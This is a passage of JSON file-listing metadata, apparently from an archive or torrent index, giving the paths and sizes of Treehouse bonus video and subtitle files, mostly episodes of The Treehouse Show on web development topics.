Tips/9. What are My Business Financing Options?/What are My Business Financing Options?.mp4", "length": 32381981}, {"path": "Bonus/1. Treehouse Quick Tips/9. What are My Business Financing Options?/What are My Business Financing Options?.srt", "length": 5833}, {"path": "Bonus/2. The Treehouse Show/1. Episode 1: CSS and JavaScript Tools/Episode 1: CSS and JavaScript Tools.mp4", "length": 89295864}, {"path": "Bonus/2. The Treehouse Show/1. Episode 1: CSS and JavaScript Tools/Episode 1: CSS and JavaScript Tools.srt", "length": 20061}, {"path": "Bonus/2. The Treehouse Show/10. Episode 10: jQuery Fundamentals/Episode 10: jQuery Fundamentals.mp4", "length": 104065351}, {"path": "Bonus/2. The Treehouse Show/10. Episode 10: jQuery Fundamentals/Episode 10: jQuery Fundamentals.srt", "length": 18887}, {"path": "Bonus/2. The Treehouse Show/11. Episode 11: Moment.js and HTML5/Episode 11: Moment.js and HTML5.mp4", "length": 144378012}, {"path": "Bonus/2. The Treehouse Show/11. Episode 11: Moment.js and HTML5/Episode 11: Moment.js and HTML5.srt", "length": 21932}, {"path": "Bonus/2. The Treehouse Show/12. Episode 12: Web Platform/Episode 12: Web Platform.mp4", "length": 115682711}, {"path": "Bonus/2. The Treehouse Show/12. Episode 12: Web Platform/Episode 12: Web Platform.srt", "length": 18775}, {"path": "Bonus/2. The Treehouse Show/13. Episode 13: LLJS, Navicons, and Framework Fights/Episode 13: LLJS, Navicons, and Framework Fights.mp4", "length": 125311380}, {"path": "Bonus/2. The Treehouse Show/13. Episode 13: LLJS, Navicons, and Framework Fights/Episode 13: LLJS, Navicons, and Framework Fights.srt", "length": 19030}, {"path": "Bonus/2. The Treehouse Show/14. Episode 14: Responsive Techniques, JavaScript MVC Frameworks, and Firefox 16/Episode 14: Responsive Techniques, JavaScript MVC Frameworks, and Firefox 16.mp4", "length": 118011193}, {"path": "Bonus/2. The Treehouse Show/14. Episode 14: Responsive Techniques, JavaScript MVC Frameworks, and Firefox 16/Episode 14: Responsive Techniques, JavaScript MVC Frameworks, and Firefox 16.srt", "length": 21488}, {"path": "Bonus/2. The Treehouse Show/15. Episode 15: Adaptive Images and Responsive SVGs/Episode 15: Adaptive Images and Responsive SVGs.mp4", "length": 135298521}, {"path": "Bonus/2. The Treehouse Show/15. Episode 15: Adaptive Images and Responsive SVGs/Episode 15: Adaptive Images and Responsive SVGs.srt", "length": 20621}, {"path": "Bonus/2. The Treehouse Show/16. Episode 16: Simple CSS Grids/Episode 16: Simple CSS Grids.mp4", "length": 132586525}, {"path": "Bonus/2. The Treehouse Show/16. Episode 16: Simple CSS Grids/Episode 16: Simple CSS Grids.srt", "length": 19664}, {"path": "Bonus/2. The Treehouse Show/17. Episode 17: Bootstrap, relogo, and Alfred/Episode 17: Bootstrap, relogo, and Alfred.mp4", "length": 143695955}, {"path": "Bonus/2. The Treehouse Show/17. Episode 17: Bootstrap, relogo, and Alfred/Episode 17: Bootstrap, relogo, and Alfred.srt", "length": 20105}, {"path": "Bonus/2. The Treehouse Show/18. Episode 18: Backbone.js, Responsive Background Images, and HTML5 APIs/Episode 18: Backbone.js, Responsive Background Images, and HTML5 APIs.mp4", "length": 79493332}, {"path": "Bonus/2. The Treehouse Show/18. Episode 18: Backbone.js, Responsive Background Images, and HTML5 APIs/Episode 18: Backbone.js, Responsive Background Images, and HTML5 APIs.srt", "length": 18550}, {"path": "Bonus/2. The Treehouse Show/19. Episode 19: Memory management, wireframing, and JavaScript frameworks/Episode 19: Memory management, wireframing, and JavaScript frameworks.mp4", "length": 71660799}, {"path": "Bonus/2. The Treehouse Show/19. Episode 19: Memory management, wireframing, and JavaScript frameworks/Episode 19: Memory management, wireframing, and JavaScript frameworks.srt", "length": 15924}, {"path": "Bonus/2. The Treehouse Show/2. Episode 2: Retinafy Your Website/Episode 2: Retinafy Your Website.mp4", "length": 117730236}, {"path": "Bonus/2. The Treehouse Show/2. Episode 2: Retinafy Your Website/Episode 2: Retinafy Your Website.srt", "length": 15040}, {"path": "Bonus/2. The Treehouse Show/20. Episode 20: Batch Icon Set, Bootstrap Goodies, Git Aliases, JavaScript Shopping Cart/Episode 20: Batch Icon Set, Bootstrap Goodies, Git Aliases, JavaScript Shopping Cart.mp4", "length": 93014873}, {"path": "Bonus/2. The Treehouse Show/20. Episode 20: Batch Icon Set, Bootstrap Goodies, Git Aliases, JavaScript Shopping Cart/Episode 20: Batch Icon Set, Bootstrap Goodies, Git Aliases, JavaScript Shopping Cart.srt", "length": 23205}, {"path": "Bonus/2. The Treehouse Show/21. Episode 21: HTML5 Mobile Apps.mp4/Episode 21: HTML5 Mobile Apps.mp4", "length": 85865525}, {"path": "Bonus/2. The Treehouse Show/21. Episode 21: HTML5 Mobile Apps.mp4/Episode 21: HTML5 Mobile Apps.srt", "length": 18343}, {"path": "Bonus/2. The Treehouse Show/22. Episode 22: Explaining CSS and Landing Pages/Episode 22: Explaining CSS and Landing Pages.mp4", "length": 104210023}, {"path": "Bonus/2. The Treehouse Show/22. Episode 22: Explaining CSS and Landing Pages/Episode 22: Explaining CSS and Landing Pages.srt", "length": 17968}, {"path": "Bonus/2. The Treehouse Show/23. Episode 23: Writing Error Messages, Navigation, and Documentation/Episode 23: Writing Error Messages, Navigation, and Documentation.mp4", "length": 129164601}, {"path": "Bonus/2. The Treehouse Show/23. Episode 23: Writing Error Messages, Navigation, and Documentation/Episode 23: Writing Error Messages, Navigation, and Documentation.srt", "length": 23387}, {"path": "Bonus/2. The Treehouse Show/24. Episode 24: JavaScript PDFS, CSS Transitions, and Web Design Trends/Episode 24: JavaScript PDFS, CSS Transitions, and Web Design Trends.mp4", "length": 116303253}, {"path": "Bonus/2. The Treehouse Show/24. Episode 24: JavaScript PDFS, CSS Transitions, and Web Design Trends/Episode 24: JavaScript PDFS, CSS Transitions, and Web Design Trends.srt", "length": 17019}, {"path": "Bonus/2. The Treehouse Show/25. Episode 25: Web Developer Checklists/Episode 25: Web Developer Checklists.mp4", "length": 120393560}, {"path": "Bonus/2. The Treehouse Show/25. Episode 25: Web Developer Checklists/Episode 25: Web Developer Checklists.srt", "length": 20936}, {"path": "Bonus/2. The Treehouse Show/26. Episode 26: jQuery Releases, Favicons and CSS Optimization/Episode 26: jQuery Releases, Favicons and CSS Optimization.mp4", "length": 104861098}, {"path": "Bonus/2. The Treehouse Show/26. Episode 26: jQuery Releases, Favicons and CSS Optimization/Episode 26: jQuery Releases, Favicons and CSS Optimization.srt", "length": 19759}, {"path": "Bonus/2. The Treehouse Show/27. Episode 27: Triangles, Sublime Text Plugins and HTML5 Geolocation/Episode 27: Triangles, Sublime Text Plugins and HTML5 Geolocation.mp4", "length": 106123784}, {"path": "Bonus/2. The Treehouse Show/27. Episode 27: Triangles, Sublime Text Plugins and HTML5 Geolocation/Episode 27: Triangles, Sublime Text Plugins and HTML5 Geolocation.srt", "length": 18533}, {"path": "Bonus/2. The Treehouse Show/28. Episode 28: Collapsing Headers, Icon Fonts, and More/Episode 28: Collapsing Headers, Icon Fonts, and More.mp4", "length": 121855788}, {"path": "Bonus/2. The Treehouse Show/28. Episode 28: Collapsing Headers, Icon Fonts, and More/Episode 28: Collapsing Headers, Icon Fonts, and More.srt", "length": 16436}, {"path": "Bonus/2. The Treehouse Show/29. Episode 29: SVG Hacking/Episode 29: SVG Hacking.mp4", "length": 89098920}, {"path": "Bonus/2. The Treehouse Show/29. Episode 29: SVG Hacking/Episode 29: SVG Hacking.srt", "length": 16618}, {"path": "Bonus/2. The Treehouse Show/3. Episode 3: Rails 4 and OS X Mountain Lion/Episode 3: Rails 4 and OS X Mountain Lion.mp4", "length": 87195897}, {"path": "Bonus/2. The Treehouse Show/3. Episode 3: Rails 4 and OS X Mountain Lion/Episode 3: Rails 4 and OS X Mountain Lion.srt", "length": 21063}, {"path": "Bonus/2. The Treehouse Show/30. Episode 30- CSS and Frameworks w- guest Ryan Carson/Episode 30: CSS and Frameworks w- guest Ryan Carson.mp4", "length": 142127424}, {"path": "Bonus/2. The Treehouse Show/30. Episode 30- CSS and Frameworks w- guest Ryan Carson/Episode 30: CSS and Frameworks w- guest Ryan Carson.mp4.srt", "length": 25291}, {"path": "Bonus/2. The Treehouse Show/31. Episode 31: HTML Progress Element and JavaScript Sliders/Episode 31: HTML Progress Element and JavaScript Sliders.mp4", "length": 76177830}, {"path": "Bonus/2. The Treehouse Show/31. Episode 31: HTML Progress Element and JavaScript Sliders/Episode 31: HTML Progress Element and JavaScript Sliders.srt", "length": 14637}, {"path": "Bonus/2. The Treehouse Show/32. Episode 32: SVGs, Dropdowns, and HTML5 Form Elements/Episode 32: SVGs, Dropdowns, and HTML5 Form Elements.mp4", "length": 115420415}, {"path": "Bonus/2. The Treehouse Show/32. Episode 32: SVGs, Dropdowns, and HTML5 Form Elements/Episode 32: SVGs, Dropdowns, and HTML5 Form Elements.srt", "length": 20243}, {"path": "Bonus/2. The Treehouse Show/33. Episode 33: Web Typography, CSS Patterns and Simple Icons/Episode 33: Web Typography, CSS Patterns and Simple Icons.mp4", "length": 114906080}, {"path": "Bonus/2. The Treehouse Show/33. Episode 33: Web Typography, CSS Patterns and Simple Icons/Episode 33: Web Typography, CSS Patterns and Simple Icons.srt", "length": 15312}, {"path": "Bonus/2. The Treehouse Show/34. Episode 34: Accessibility, CSS Architecture, and Web Printing/Episode 34: Accessibility, CSS Architecture, and Web Printing.mp4", "length": 86976356}, {"path": "Bonus/2. The Treehouse Show/34. Episode 34: Accessibility, CSS Architecture, and Web Printing/Episode 34: Accessibility, CSS Architecture, and Web Printing.srt", "length": 16001}, {"path": "Bonus/2. The Treehouse Show/35. Episode 35: JavaScript Tours and Pull Quotes/Episode 35: JavaScript Tours and Pull Quotes.mp4", "length": 136127991}, {"path": "Bonus/2. The Treehouse Show/35. Episode 35: JavaScript Tours and Pull Quotes/Episode 35: JavaScript Tours and Pull Quotes.srt", "length": 24891}, {"path": "Bonus/2. The Treehouse Show/36. Episode 36: Sidebar Menus and Icon Stacks/Episode 36: Sidebar Menus and Icon Stacks.mp4", "length": 135880799}, {"path": "Bonus/2. The Treehouse Show/36. Episode 36: Sidebar Menus and Icon Stacks/Episode 36: Sidebar Menus and Icon Stacks.srt", "length": 19504}, {"path": "Bonus/2. The Treehouse Show/37. Episode 37: Sublime Text 2 and Login Forms/Episode 37: Sublime Text 2 and Login Forms.mp4", "length": 96221994}, {"path": "Bonus/2. The Treehouse Show/37. Episode 37: Sublime Text 2 and Login Forms/Episode 37: Sublime Text 2 and Login Forms.srt", "length": 17909}, {"path": "Bonus/2. The Treehouse Show/38. Episode 38: JavaScript Design Patterns and CSS Windows/Episode 38: JavaScript Design Patterns and CSS Windows.mp4", "length": 89236156}, {"path": "Bonus/2. The Treehouse Show/38. Episode 38: JavaScript Design Patterns and CSS Windows/Episode 38: JavaScript Design Patterns and CSS Windows.srt", "length": 22822}, {"path": "Bonus/2. The Treehouse Show/39. Episode 39: HTML Video and the Web as a Gaming Platform/Episode 39: HTML Video and the Web as a Gaming Platform.mp4", "length": 106429442}, {"path": "Bonus/2. The Treehouse Show/39. Episode 39: HTML Video and the Web as a Gaming Platform/Episode 39: HTML Video and the Web as a Gaming Platform.srt", "length": 20596}, {"path": "Bonus/2. The Treehouse Show/4. Episode 4: LAMP on Mountain Lion/Episode 4: LAMP on Mountain Lion.mp4", "length": 83007282}, {"path": "Bonus/2. The Treehouse Show/4. Episode 4: LAMP on Mountain Lion/Episode 4: LAMP on Mountain Lion.srt", "length": 13498}, {"path": "Bonus/2. The Treehouse Show/40. Episode 40: iTunes Scrolling and Mobile Shelving/Episode 40: iTunes Scrolling and Mobile Shelving.mp4", "length": 87543167}, {"path": "Bonus/2. The Treehouse Show/40. Episode 40: iTunes Scrolling and Mobile Shelving/Episode 40: iTunes Scrolling and Mobile Shelving.srt", "length": 21226}, {"path": "Bonus/2. The Treehouse Show/41. Episode 41: Reflections, Mobile Typography and Responsive Images/Episode 41: Reflections, Mobile Typography and Responsive Images.mp4", "length": 99044950}, {"path": "Bonus/2. The Treehouse Show/41. Episode 41: Reflections, Mobile Typography and Responsive Images/Episode 41: Reflections, Mobile Typography and Responsive Images.srt", "length": 21264}, {"path": "Bonus/2. The Treehouse Show/42. Episode 42: Flat UI Colors, Dont\\ dos with jQuery and Usability/Episode 42: Flat UI Colors, Don't do's with jQuery and Usability.mp4", "length": 121821523}, {"path": "Bonus/2. The Treehouse Show/42. Episode 42: Flat UI Colors, Dont\\ dos with jQuery and Usability/Episode 42: Flat UI Colors, Don't do's with jQuery and Usability.srt", "length": 20779}, {"path": "Bonus/2. The Treehouse Show/43. Episode 43: SVG and Icon Fonts, Typography and CSS Sliders/Episode 43: SVG and Icon Fonts, Typography and CSS Sliders.mp4", "length": 130802533}, {"path": "Bonus/2. The Treehouse Show/43. Episode 43: SVG and Icon Fonts, Typography and CSS Sliders/Episode 43: SVG and Icon Fonts, Typography and CSS Sliders.srt", "length": 20961}, {"path": "Bonus/2. The Treehouse Show/44. Episode 44: HTML5 Features, Responsive CSS Modules and Sass/Episode 44: HTML5 Features, Responsive CSS Modules and Sass.mp4", "length": 112227057}, {"path": "Bonus/2. The Treehouse Show/44. Episode 44: HTML5 Features, Responsive CSS Modules and Sass/Episode 44: HTML5 Features, Responsive CSS Modules and Sass.srt", "length": 23938}, {"path": "Bonus/2. The Treehouse Show/45. Episode 45: UX, Sitemaps and JS Tours/Episode 45: UX, Sitemaps and JS Tours.mp4", "length": 77348691}, {"path": "Bonus/2. The Treehouse Show/45. Episode 45: UX, Sitemaps and JS Tours/Episode 45: UX, Sitemaps and JS Tours.srt", "length": 14222}, {"path": "Bonus/2. The Treehouse Show/46. Episode 46: Responsive Images and HTML5 Form Inputs/Episode 46: Responsive Images and HTML5 Form Inputs.mp4", "length": 73470133}, {"path": "Bonus/2. The Treehouse Show/46. Episode 46: Responsive Images and HTML5 Form Inputs/Episode 46: Responsive Images and HTML5 Form Inputs.srt", "length": 20244}, {"path": "Bonus/2. The Treehouse Show/47. Episode 47: Dev Tool Secrets/Episode 47: Dev Tool Secrets.mp4", "length": 72672195}, {"path": "Bonus/2. The Treehouse Show/47. Episode 47: Dev Tool Secrets/Episode 47: Dev Tool Secrets.srt", "length": 18351}, {"path": "Bonus/2. The Treehouse Show/48. Episode 48: Tablet friendly design, good ui, gif.js/Episode 48- Tablet friendly design, good ui, gif.js.srt", "length": 17058}, {"path": "Bonus/2. The Treehouse Show/48. Episode 48: Tablet friendly design, good ui, gif.js/Episode 48: Tablet friendly design, good ui, gif.js.mp4", "length": 84089736}, {"path": "Bonus/2. The Treehouse Show/49. Episode 49: App Store Screenshots, Regular Expressions, Programming Fonts/Episode 49: App Store Screenshots, Regular Expressions, Programming Fonts.mp4", "length": 77500083}, {"path": "Bonus/2. The Treehouse Show/49. Episode 49: App Store Screenshots, Regular Expressions, Programming Fonts/Episode 49: App Store Screenshots, Regular Expressions, Programming Fonts.srt", "length": 17365}, {"path": "Bonus/2. The Treehouse Show/5. Episode 5: JavaScript Tools/Episode 5: JavaScript Tools.mp4", "length": 77428271}, {"path": "Bonus/2. The Treehouse Show/5. Episode 5: JavaScript Tools/Episode 5: JavaScript Tools.srt", "length": 12310}, {"path": "Bonus/2. The Treehouse Show/50. Episode 50: OAuth, Canvas, Dev Tools/Episode 50: OAuth, Canvas, Dev Tools.mp4", "length": 121704957}, {"path": "Bonus/2. The Treehouse Show/50. Episode 50: OAuth, Canvas, Dev Tools/Episode 50: OAuth, Canvas, Dev Tools.srt", "length": 24714}, {"path": "Bonus/2. The Treehouse Show/51. Episode 51: JavaScript diagramming, SASS, HTML5 Elements/Episode 51: JavaScript diagramming, SASS, HTML5 Elements.mp4", "length": 89958865}, {"path": "Bonus/2. The Treehouse Show/51. Episode 51: JavaScript diagramming, SASS, HTML5 Elements/Episode 51: JavaScript diagramming, SASS, HTML5 Elements.srt", "length": 18202}, {"path": "Bonus/2. The Treehouse Show/52. Episode 52: Reactive Programming, CSS Spacing, Image Loading/Episode 52: Reactive Programming, CSS Spacing, Image Loading.mp4", "length": 124477712}, {"path": "Bonus/2. The Treehouse Show/52. Episode 52: Reactive Programming, CSS Spacing, Image Loading/Episode 52: Reactive Programming, CSS Spacing, Image Loading.srt", "length": 21918}, {"path": "Bonus/2. The Treehouse Show/53. Episode 53: The ClassList API, CSS Frameworks, Animation/Episode 53: The ClassList API, CSS Frameworks, Animation.mp4", "length": 119568752}, {"path": "Bonus/2. The Treehouse Show/53. Episode 53: The ClassList API, CSS Frameworks, Animation/Episode 53: The ClassList API, CSS Frameworks, Animation.srt", "length": 22506}, {"path": "Bonus/2. The Treehouse Show/54. Episode 54: jQuery Plugins, Autoprefixer, CSS sprites/Episode 54: jQuery Plugins, Autoprefixer, CSS sprites.mp4", "length": 133474154}, {"path": "Bonus/2. The Treehouse Show/54. Episode 54: jQuery Plugins, Autoprefixer, CSS sprites/Episode 54: jQuery Plugins, Autoprefixer, CSS sprites.srt", "length": 75}, {"path": "Bonus/2. The Treehouse Show/55. Episode 55: Web Typography, JavaScript Progress Bars, CSS 3D/Episode 55: Web Typography, JavaScript Progress Bars, CSS 3D.mp4", "length": 89267808}, {"path": "Bonus/2. The Treehouse Show/55. Episode 55: Web Typography, JavaScript Progress Bars, CSS 3D/Episode 55: Web Typography, JavaScript Progress Bars, CSS 3D.srt", "length": 22102}, {"path": "Bonus/2. The Treehouse Show/56. Episode 56: Node.js, CSS Buttons, PNG Compression/Episode 56: Node.js, CSS Buttons, PNG Compression.mp4", "length": 78050870}, {"path": "Bonus/2. The Treehouse Show/56. Episode 56: Node.js, CSS Buttons, PNG Compression/Episode 56: Node.js, CSS Buttons, PNG Compression.srt", "length": 13083}, {"path": "Bonus/2. The Treehouse Show/57. Episode 57: CSS3 Multiple Backgrounds, Ember.js, Favicons/Episode 57: CSS3 Multiple Backgrounds, Ember.js, Favicons.mp4", "length": 86041146}, {"path": "Bonus/2. The Treehouse Show/57. Episode 57: CSS3 Multiple Backgrounds, Ember.js, Favicons/Episode 57: CSS3 Multiple Backgrounds, Ember.js, Favicons.srt", "length": 16886}, {"path": "Bonus/2. The Treehouse Show/58. Episode 58: The Main Element, jQuery CLNDR, Keystrokes/Episode 58: The Main Element, jQuery CLNDR, Keystrokes.mp4", "length": 108782712}, {"path": "Bonus/2. The Treehouse Show/58. Episode 58: The Main Element, jQuery CLNDR, Keystrokes/Episode 58: The Main Element, jQuery CLNDR, Keystrokes.srt", "length": 21469}, {"path": "Bonus/2. The Treehouse Show/59. Episode 59: Form Validation, Safari Push Notifications, JavaScript Performance/Episode 59: Form Validation, Safari Push Notifications, JavaScript Performance.mp4", "length": 104477748}, {"path": "Bonus/2. The Treehouse Show/59. Episode 59: Form Validation, Safari Push Notifications, JavaScript Performance/Episode 59: Form Validation, Safari Push Notifications, JavaScript Performance.srt", "length": 23666}, {"path": "Bonus/2. The Treehouse Show/6. Episode 6: Twitter Bootstrap and JavaScript for Cats/Episode 6: Twitter Bootstrap and JavaScript for Cats.mp4", "length": 103401208}, {"path": "Bonus/2. The Treehouse Show/6. Episode 6: Twitter Bootstrap and JavaScript for Cats/Episode 6: Twitter Bootstrap and JavaScript for Cats.srt", "length": 16594}, {"path": "Bonus/2. The Treehouse Show/60. Episode 60: CSS Animations, CSS Sprites, Form Building/Episode 60: CSS Animations, CSS Sprites, Form Building.mp4", "length": 92615092}, {"path": "Bonus/2. The Treehouse Show/60. Episode 60: CSS Animations, CSS Sprites, Form Building/Episode 60: CSS Animations, CSS Sprites, Form Building.srt", "length": 16379}, {"path": "Bonus/2. The Treehouse Show/61. Episode 61: Request Autocomplete, Navicons, CSS Preprocessing/Episode 61: Request Autocomplete, Navicons, CSS Preprocessing.mp4", "length": 87568955}, {"path": "Bonus/2. The Treehouse Show/61. Episode 61: Request Autocomplete, Navicons, CSS Preprocessing/Episode 61: Request Autocomplete, Navicons, CSS Preprocessing.srt", "length": 18159}, {"path": "Bonus/2. The Treehouse Show/62. Episode 62: CSS Position: fixed-sticky, Flexbox, Google Web Designer/Episode 62: CSS Position: fixed-sticky, Flexbox, Google Web Designer.mp4", "length": 101887339}, {"path": "Bonus/2. The Treehouse Show/62. Episode 62: CSS Position: fixed-sticky, Flexbox, Google Web Designer/Episode 62: CSS Position: fixed-sticky, Flexbox, Google Web Designer.srt", "length": 105}, {"path": "Bonus/2. The Treehouse Show/63. Episode 63: Responsive Design, Rich Text Editing, Squircles/Episode 63: Responsive Design, Rich Text Editing, Squircles.mp4", "length": 90797266}, {"path": "Bonus/2. The Treehouse Show/63. Episode 63: Responsive Design, Rich Text Editing, Squircles/Episode 63: Responsive Design, Rich Text Editing, Squircles.srt", "length": 23233}, {"path": "Bonus/2. The Treehouse Show/64. Episode 64: Touchscreen UI events, Sprite and checkbox animation, Lo-Dash/Episode 64: Touchscreen UI events, Sprite and checkbox animation, Lo-Dash.mp4", "length": 92210350}, {"path": "Bonus/2. The Treehouse Show/64. Episode 64: Touchscreen UI events, Sprite and checkbox animation, Lo-Dash/Episode 64: Touchscreen UI events, Sprite and checkbox animation, Lo-Dash.srt", "length": 20733}, {"path": "Bonus/2. The Treehouse Show/65. Episode 65: Contrast Ratio, Favicons, Offline Web Apps/Episode 65: Contrast Ratio, Favicons, Offline Web Apps.mp4", "length": 85638066}, {"path": "Bonus/2. The Treehouse Show/65. Episode 65: Contrast Ratio, Favicons, Offline Web Apps/Episode 65: Contrast Ratio, Favicons, Offline Web Apps.srt", "length": 21795}, {"path": "Bonus/2. The Treehouse Show/66. Episode 66: JavaScript Formatting, Pie Charts, SVG Animation/Episode 66: JavaScript Formatting, Pie Charts, SVG Animation.mp4", "length": 95439959}, {"path": "Bonus/2. The Treehouse Show/67. Episode 67: Responsive HTML Emails, JavaScript Techniques, WebGL/Episode 67: Responsive HTML Emails, JavaScript Techniques, WebGL.mp4", "length": 151268248}, {"path": "Bonus/2. The Treehouse Show/67. Episode 67: Responsive HTML Emails, JavaScript Techniques, WebGL/Episode 67: Responsive HTML Emails, JavaScript Techniques, WebGL.srt", "length": 66}, {"path": "Bonus/2. The Treehouse Show/68. Episode 68: JavaScript Templating, Flexbox, DevTools/Episode 68: JavaScript Templating, Flexbox, DevTools.mp4", "length": 120769795}, {"path": "Bonus/2. The Treehouse Show/68. Episode 68: JavaScript Templating, Flexbox, DevTools/Episode 68: JavaScript Templating, Flexbox, DevTools.srt", "length": 66}, {"path": "Bonus/2. The Treehouse Show/69. Episode 69: JavaScript Footnotes, Geographic Autocompletion, Sortable Lists/Episode 69: JavaScript Footnotes, Geographic Autocompletion, Sortable Lists.mp4", "length": 87373038}, {"path": "Bonus/2. The Treehouse Show/69. Episode 69: JavaScript Footnotes, Geographic Autocompletion, Sortable Lists/Episode 69: JavaScript Footnotes, Geographic Autocompletion, Sortable Lists.srt", "length": 21722}, {"path": "Bonus/2. The Treehouse Show/7. Episode 7: Web Development Tips/Episode 7: Web Development Tips.mp4", "length": 130568359}, {"path": "Bonus/2. The Treehouse Show/7. Episode 7: Web Development Tips/Episode 7: Web Development Tips.srt", "length": 20771}, {"path": "Bonus/2. The Treehouse Show/70. Episode 70: URL Rewriting, Responsive Emails, QR Codes/Episode 70: URL Rewriting, Responsive Emails, QR Codes.mp4", "length": 125006041}, {"path": "Bonus/2. The Treehouse Show/70. Episode 70: URL Rewriting, Responsive Emails, QR Codes/Episode 70: URL Rewriting, Responsive Emails, QR Codes.srt", "length": 20430}, {"path": "Bonus/2. The Treehouse Show/71. Episode 71: Animated GIFs for Documentation, Chrome DevTools for Mobile, Grunt/Episode 71: Animated GIFs for Documentation, Chrome DevTools for Mobile, Grunt.mp4", "length": 101625321}, {"path": "Bonus/2. The Treehouse Show/71. Episode 71: Animated GIFs for Documentation, Chrome DevTools for Mobile, Grunt/Episode 71: Animated GIFs for Documentation, Chrome DevTools for Mobile, Grunt.srt", "length": 18701}, {"path": "Bonus/2. The Treehouse Show/72. Episode 72: Dynamic Tables, Progress Button Styles, Spinkit/Episode 72: Dynamic Tables, Progress Button Styles, Spinkit.mp4", "length": 67172311}, {"path": "Bonus/2. The Treehouse Show/72. Episode 72: Dynamic Tables, Progress Button Styles, Spinkit/Episode 72: Dynamic Tables, Progress Button Styles, Spinkit.srt", "length": 50}, {"path": "Bonus/2. The Treehouse Show/73. Episode 73: Sprite Generation, Native HTML5 Apps, Color Schemes/Episode 73: Sprite Generation, Native HTML5 Apps, Color Schemes.mp4", "length": 77223685}, {"path": "Bonus/2. The Treehouse Show/73. Episode 73: Sprite Generation, Native HTML5 Apps, Color Schemes/Episode 73: Sprite Generation, Native HTML5 Apps, Color Schemes.srt", "length": 69}, {"path": "Bonus/2. The Treehouse Show/74. Episode 74: JavaScript Tips and Tricks, Typography, HTML5 Game Development/Episode 74: JavaScript Tips and Tricks, Typography, HTML5 Game Development.mp4", "length": 76282524}, {"path": "Bonus/2. The Treehouse Show/74. Episode 74: JavaScript Tips and Tricks, Typography, HTML5 Game Development/Episode 74: JavaScript Tips and Tricks, Typography, HTML5 Game Development.srt", "length": 66}, {"path": "Bonus/2. The Treehouse Show/75. Episode 75: Flexible Navigation, JavaScript the Good Parts, CSS Animation Tricks/Episode 75: Flexible Navigation, JavaScript the Good Parts, CSS Animation Tricks.mp4", "length": 91179651}, {"path": "Bonus/2. The Treehouse Show/75. Episode 75: Flexible Navigation, JavaScript the Good Parts, CSS Animation Tricks/Episode 75: Flexible Navigation, JavaScript the Good Parts, CSS Animation Tricks.srt", "length": 47}, {"path": "Bonus/2. The Treehouse Show/76. Episode 76: Gulp, Kinetic Scrolling, Page Visibility/Episode 76: Gulp, Kinetic Scrolling, Page Visibility.mp4", "length": 121630224}, {"path": "Bonus/2. The Treehouse Show/76. Episode 76: Gulp, Kinetic Scrolling, Page Visibility/Episode 76: Gulp, Kinetic Scrolling, Page Visibility.srt", "length": 47}, {"path": "Bonus/2. The Treehouse Show/77. Episode 77: Sass Mixins, JavaScript Coding, Git Tips/Episode 77: Sass Mixins, JavaScript Coding, Git Tips.mp4", "length": 65634585}, {"path": "Bonus/2. The Treehouse Show/77. Episode 77: Sass Mixins, JavaScript Coding, Git Tips/Episode 77: Sass Mixins, JavaScript Coding, Git Tips.srt", "length": 17567}, {"path": "Bonus/2. The Treehouse Show/78. Episode 78: Origami, HTML 5 Game Development, Form Labels/Episode 78: Origami, HTML 5 Game Development, Form Labels.mp4", "length": 77849337}, {"path": "Bonus/2. The Treehouse Show/78. Episode 78: Origami, HTML 5 Game Development, Form Labels/Episode 78: Origami, HTML 5 Game Development, Form Labels.srt", "length": 19543}, {"path": "Bonus/2. The Treehouse Show/79. Episode 79: Front-End Development Guidelines, Sublime Text, Sass and Compass/Episode 79: Front-End Development Guidelines, Sublime Text, Sass and Compass.mp4", "length": 51416732}, {"path": "Bonus/2. The Treehouse Show/79. Episode 79: Front-End Development Guidelines, Sublime Text, Sass and Compass/Episode 79: Front-End Development Guidelines, Sublime Text, Sass and Compass.srt", "length": 15458}, {"path": "Bonus/2. The Treehouse Show/8. Episode 8: Writing Markdown/Episode 8: Writing Markdown.mp4", "length": 111014422}, {"path": "Bonus/2. The Treehouse Show/8. Episode 8: Writing Markdown/Episode 8: Writing Markdown.srt", "length": 16371}, {"path": "Bonus/2. The Treehouse Show/80. Episode 80: Sandboxed iFrames, Progress Element, Responsive Screenshots/Episode 80: Sandboxed iFrames, Progress Element, Responsive Screenshots.mp4", "length": 76700800}, {"path": "Bonus/2. The Treehouse Show/80. Episode 80: Sandboxed iFrames, Progress Element, Responsive Screenshots/Episode 80: Sandboxed iFrames, Progress Element, Responsive Screenshots.srt", "length": 18125}, {"path": "Bonus/2. The Treehouse Show/81. Episode 81: Outdated UX Patterns, Learn Angular JS, Lazy Ads/Episode 81: Outdated UX Patterns, Learn Angular JS, Lazy Ads.mp4", "length": 66256387}, {"path": "Bonus/2. The Treehouse Show/81. Episode 81: Outdated UX Patterns, Learn Angular JS, Lazy Ads/Episode 81: Outdated UX Patterns, Learn Angular JS, Lazy Ads.srt", "length": 20803}, {"path": "Bonus/2. The Treehouse Show/82. Episode 82: Web Font Generators, ECMAScript 6 Features, Accessibility/Episode 82: Web Font Generators, ECMAScript 6 Features, Accessibility.mp4", "length": 67553725}, {"path": "Bonus/2. The Treehouse Show/82. Episode 82: Web Font Generators, ECMAScript 6 Features, Accessibility/Episode 82: Web Font Generators, ECMAScript 6 Features, Accessibility.srt", "length": 22632}, {"path": "Bonus/2. The Treehouse Show/83. Episode 83: Web Icons, Webshims, jQuery Coding Standards/Episode 83: Web Icons, Webshims, jQuery Coding Standards.mp4", "length": 58075175}, {"path": "Bonus/2. The Treehouse Show/83. Episode 83: Web Icons, Webshims, jQuery Coding Standards/Episode 83: Web Icons, Webshims, jQuery Coding Standards.srt", "length": 22317}, {"path": "Bonus/2. The Treehouse Show/84. Episode 84: CSS Frameworks, Facebook Predictions API, Development Techniques/Episode 84: CSS Frameworks, Facebook Predictions API, Development Techniques.mp4", "length": 55580714}, {"path": "Bonus/2. The Treehouse Show/84. Episode 84: CSS Frameworks, Facebook Predictions API, Development Techniques/Episode 84: CSS Frameworks, Facebook Predictions API, Development Techniques.srt", "length": 13902}, {"path": "Bonus/2. The Treehouse Show/9. Episode 9: HTML5 Boilerplate/Episode 9: HTML5 Boilerplate.mp4", "length": 125811407}, {"path": "Bonus/2. The Treehouse Show/9. Episode 9: HTML5 Boilerplate/Episode 9: HTML5 Boilerplate.srt", "length": 21678}, {"path": "Bonus/3. CSS3 Master Class/1. Introduction/Introduction.mp4", "length": 33100760}, {"path": "Bonus/3. CSS3 Master Class/1. Introduction/Introduction.srt", "length": 12364}, {"path": "Bonus/3. CSS3 Master Class/1. Introduction/MasterClass-CSS3.zip", "length": 565764}, {"path": 